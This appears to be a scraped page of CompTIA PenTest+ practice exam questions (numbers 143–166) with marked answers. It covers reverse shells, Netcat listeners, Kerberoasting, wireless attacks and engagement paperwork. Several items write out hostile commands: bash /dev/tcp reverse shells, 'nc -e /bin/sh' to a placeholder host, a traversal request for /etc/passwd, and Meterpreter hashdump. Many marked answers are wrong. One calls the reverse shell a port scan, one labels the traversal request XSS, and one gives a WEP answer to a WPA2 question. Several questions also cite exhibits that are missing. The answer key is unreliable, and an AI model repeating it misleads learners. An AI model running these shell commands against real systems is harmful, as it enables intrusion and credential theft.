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CompTIA PT0-001 (CompTIA PenTest+ Certification) certification exam is a popular choice for individuals looking to start their career in cybersecurity or those looking to advance their existing career. CompTIA PenTest+ Certification Exam certification has gained a lot of traction in recent years, as the demand for certified penetration testers (pen testers) has increased dramatically. CompTIA PenTest+ Certification Exam certification exam covers a broad range of skills and knowledge areas, making it ideal for individuals looking to establish themselves in the field of cybersecurity.

 

NEW QUESTION # 143
The following line was found in an exploited machine's history file. An attacker ran the following command:
bash -i >& /dev/tcp/192.168.0.1/80 0> &1
Which of the following describes what the command does?

  • A. Performs a port scan.
  • B. Grabs the web server's banner.
  • C. Removes error logs for the supplied IP.
  • D. Redirects a TTY to a remote system.

Answer: A

Explanation:
Explanation/Reference: https://hackernoon.com/reverse-shell-cf154dfee6bd


NEW QUESTION # 144
After performing a security assessment for a firm, the client was found to have been billed for the time the client's test environment was unavailable The Client claims to have been billed unfairly. Which of the following documents would MOST likely be able to provide guidance in such a situation?

  • A. SOW
  • B. BRA
  • C. EULA
  • D. NDA

Answer: B


NEW QUESTION # 145
A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use?

  • A. bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1
  • B. ssh superadmin@<DESTINATIONIP> -p 443
  • C. perl -e 'use SOCKET'; $i='<SOURCEIP>; $p='443;
  • D. nc -e /bin/sh <SOURCEIP> 443

Answer: A

Explanation:
Explanation/Reference:
Reference: https://hackernoon.com/reverse-shell-cf154dfee6bd


NEW QUESTION # 146
A company received a report with the following finding
While on the internal network the penetration tester was able to successfully capture SMB broadcasted user ID and password information on the network and decode this information This allowed the penetration tester to then join their own computer to the ABC domain Which of the following remediation's are appropriate for the reported findings'? (Select TWO)

  • A. Set up a SIEM alert to monitor Domain joined machines
  • B. Set the Schedule Task Service from Automatic to Disabled
  • C. Remove the ability from Domain Users to join domain computers to the network
  • D. Set "Digitally sign network communications" to Always
  • E. Set the netlogon service from Automatic to Disabled
  • F. Enable network-level authentication

Answer: C,F


NEW QUESTION # 147
A penetration tester wants to check manually if a "ghost" vulnerability exists in a system. Which of the following methods is the correct way to validate the vulnerability?

  • A. Download the GHOST file to a Windows system and compilegcc -o GHOSTtest i:./GHOST
  • B. Download the GHOST file to a Linux system and compilegcc -o GHOSTtest i:./GHOST
  • C. Download the GHOST file to a Windows system and compilegcc -o GHOST GHOST.ctest i:./GHOST
  • D. Download the GHOST file to a Linux system and compilegcc -o GHOST.ctest i:./GHOST

Answer: C


NEW QUESTION # 148
Which of the following reasons does penetration tester needs to have a customer's point-of -contact information available at all time? (Select THREE).

  • A. To update payment information
  • B. To report critical findings
  • C. To report a server that becomes unresponsive
  • D. To report the latest published exploits
  • E. To report a cracked password
  • F. To report indicators of compromise
  • G. To update the statement o( work
  • H. To report findings that cannot be exploited

Answer: B,C,F


NEW QUESTION # 149
An individual has been hired by an organization after passing a background check. The individual has been passing information to a competitor over a period of time. Which of the following classifications BEST describes the individual?

  • A. Script kiddie
  • B. Insider threat
  • C. Hacktivist
  • D. APT

Answer: B

Explanation:
Explanation/Reference: https://en.wikipedia.org/wiki/Insider_threat


NEW QUESTION # 150
A security analyst has uncovered a suspicious request in the logs for a web application. Given the following URL:
http:www.company-site.com/about.php?i=_V_V_V_V_VetcVpasswd
Which of the following attack types is MOST likely to be the vulnerability?

  • A. Remote file inclusion
  • B. Directory traversal
  • C. User enumeration
  • D. Cross-site scripting

Answer: D


NEW QUESTION # 151
A penetration tester is checking a script to determine why some basic math errors are persisting. The expected result was the program outputting "True".

Given the output from the console above, which of the following explains how to correct the errors in the script? (Choose two.)

  • A. Change 'else' to 'elif'.
  • B. Change 'fi' to 'Endli'.
  • C. Remove the 'let' in front of 'dest=5+5'.
  • D. Change 'source' and 'dest' to "$source" and "$dest".
  • E. Change the '=' to '-eq'.

Answer: C,D


NEW QUESTION # 152
A company's corporate policies state that employees are able to scan any global network as long as it is done within working hours. Government laws prohibit unauthorized scanning. Which of the following should an employee abide by?

  • A. The employee must obtain written approval from the company's Chief Information Security Officer (ClSO) prior to scanning
  • B. Company policies must be followed in this situation
  • C. Industry standards receding scanning should be followed
  • D. Laws supersede corporate policies

Answer: D


NEW QUESTION # 153
A penetration tester has compromised a host. Which of the following would be the correct syntax to create a Netcat listener on the device?

  • A. nc -l -p 4444 /bin/bash
  • B. nc -vp 4444 /bin/bash
  • C. nc -p 4444 /bin/bash
  • D. nc -lp 4444 -e /bin/bash

Answer: A


NEW QUESTION # 154
A penetration tester runs a script that queries the domain controller for user service principal names. Which of the following techniques is MOST likely being attempted?

  • A. Cpassword
  • B. Cleartext credentials in LDAP
  • C. LSASS credential extraction
  • D. Kerberoasting

Answer: D


NEW QUESTION # 155
A static code analysis report of a web application can be leveraged to identify:

  • A. business logic flaws.
  • B. client-side data storage.
  • C. session fixation issues.
  • D. clickjacking.
  • E. insufficient input sanitization.

Answer: D


NEW QUESTION # 156
A company hires a penetration tester to determine if there are any vulnerabilities in its new VPN concentrator installation with an external IP of 100.170.60.5. Which of the following commands will test if the VPN is available?

  • A. fpipe.exe -1 8080 -r 80 100.170.60.5
  • B. nmap -sS -A -f 100.170.60.5
  • C. nc 100.170.60.5 8080 /bin/sh
  • D. ike-scan -A -t 1 --sourceip=apoof_ip 100.170.60.5

Answer: D


NEW QUESTION # 157
Which of the following CPU registers does the penetration tester need to overwrite in order to exploit a simple buffer overflow?

  • A. Destination index register
  • B. Stack pointer register
  • C. Index pointer register
  • D. Stack base pointer

Answer: B

Explanation:
Explanation/Reference: http://www.informit.com/articles/article.aspx?p=704311&seqNum=3


NEW QUESTION # 158
A penetration tester is reviewing the following output from a wireless sniffer:

Which of the following can be extrapolated from the above information?

  • A. Channel interference
  • B. Hardware vendor
  • C. Key strength
  • D. Usernames

Answer: D


NEW QUESTION # 159
A penetration tester has performed a pivot to a new Linux device on a different network. The tester writes the following command:
for m in {1..254..1};do ping -c 1 192.168.101.$m; done
Which of the following BEST describes the result of running this command?

  • A. Denial of service
  • B. Service enumeration
  • C. Port scan
  • D. Live host identification

Answer: D


NEW QUESTION # 160
A penetration tester is performing a wireless penetration test.
Which of the following are some vulnerabilities that might allow the penetration tester to easily and quickly access a WPA2-protected access point?

  • A. Injection of customized ARP packets can generate many initialization vectors quickly, making it faster to crack the password, which can then be used to connect to the WPA2-protected access point.
  • B. Deauthentication attacks against an access point can allow an opportunity to capture the four-way handshake, which can be used to obtain and crack the encrypted password.
  • C. Weak implementations of the WEP can allow pin numbers to be guessed quickly, which can then be used to retrieve the password, which can then be used to connect to the WEP-protected access point.
  • D. Rainbow tables contain all possible password combinations, which can be used to perform a brute-force password attack to retrieve the password, which can then be used to connect to the WPA2-protected access point.

Answer: C


NEW QUESTION # 161
A penetration tester was able to retrieve the initial VPN user domain credentials by phishing a member of the IT department. Afterward, the penetration tester obtained hashes over the VPN and easily cracked them using a dictionary attack Which of the following remediation steps should be recommended? (Select THREE)

  • A. Mandate all employees take security awareness training
  • B. Increase password complexity requirements
  • C. Implement two-factor authentication for remote access
  • D. Install a security information event monitoring solution.
  • E. Prevent members of the IT department from interactively logging in as administrators
  • F. Install an intrusion prevention system
  • G. Upgrade the cipher suite used for the VPN solution

Answer: B,C,G


NEW QUESTION # 162
A penetration tester successfully exploits a system, receiving a reverse shell. Which of the following is a Meterpreter command that is used to harvest locally stored credentials?

  • A. background
  • B. getuid
  • C. psexec
  • D. session
  • E. hashdump

Answer: E

Explanation:
Explanation/Reference: https://www.sciencedirect.com/topics/computer-science/meterpreter-shell


NEW QUESTION # 163
A client requests that a penetration tester emulate a help desk technician who was recently laid off. Which of the following BEST describes the abilities of the threat actor?

  • A. Organized crime
  • B. Hacktivist
  • C. Script kiddie
  • D. Advanced persistent threat

Answer: C

Explanation:
Reference
https://www.sciencedirect.com/topics/computer-science/disgruntled-employee


NEW QUESTION # 164
While conducting information gathering, a penetration tester is trying to identify Windows hosts. Which of the following characteristics would be BEST to use for fingerprinting?

  • A. The system responds with port 22 open.
  • B. The system responds with a TTL of 128.
  • C. The system responds with a MAC address that begins with 00:0A:3B.
  • D. The system responds with a TCP window size of 5840.

Answer: B

Explanation:
Reference:
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NEW QUESTION # 165
A penetration tester identifies the following findings during an external vulnerability scan:

Which of the following attack strategies should be prioritized from the scan results above?

  • A. Web server configurations may reveal sensitive information
  • B. Obsolete software may contain exploitable components
  • C. Cryptographically weak protocols may be intercepted
  • D. Weak password management practices may be employed

Answer: B


NEW QUESTION # 166
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